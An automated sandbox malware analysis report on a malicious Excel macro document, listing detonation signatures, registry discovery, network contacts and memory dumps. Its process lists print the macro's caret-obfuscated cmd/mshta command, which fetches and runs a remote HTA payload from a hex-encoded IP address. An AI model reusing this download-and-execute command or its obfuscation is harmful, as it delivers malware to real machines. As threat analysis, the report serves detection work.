Malware Analysis Report

2025-01-22 16:10

Sample ID 241111-v4qjkssfnh
Target b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6
SHA256 b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6

Threat Level: Known bad

The file b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:32

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:32

Reported

2024-11-11 17:35

Platform

win7-20240903-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe7.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1088-1-0x000000007207D000-0x0000000072088000-memory.dmp

memory/1088-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1088-2-0x000000007207D000-0x0000000072088000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:32

Reported

2024-11-11 17:35

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3288 wrote to memory of 2972 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3288 wrote to memory of 2972 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2972 wrote to memory of 4848 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 2972 wrote to memory of 4848 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe7.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 174.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

memory/3288-0-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

memory/3288-1-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

memory/3288-3-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

memory/3288-4-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

memory/3288-5-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-8-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-10-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-9-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-7-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-12-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-11-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

memory/3288-6-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

memory/3288-2-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

memory/3288-13-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-14-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-15-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

memory/3288-17-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-21-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-22-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-20-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-19-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-18-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-16-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-33-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-34-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

memory/3288-35-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

memory/3288-39-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 535d2b555fa4664e1ddeebcd6815dfa3
SHA1 5fc5761d7ffffad622b08db3f9ff93add66bfa55
SHA256 a914384355c8dc4f2747b92caf4d0496bf7f3642e358f02c09244fd9b43169c0
SHA512 2fe1360e4949bf923133f3571213661ea774270c5085b6f4a2bb716aa818a66e53cf75fe55cf5bd8c5ad777ed65144a1b87bdd7fe532fee2c615383168f36359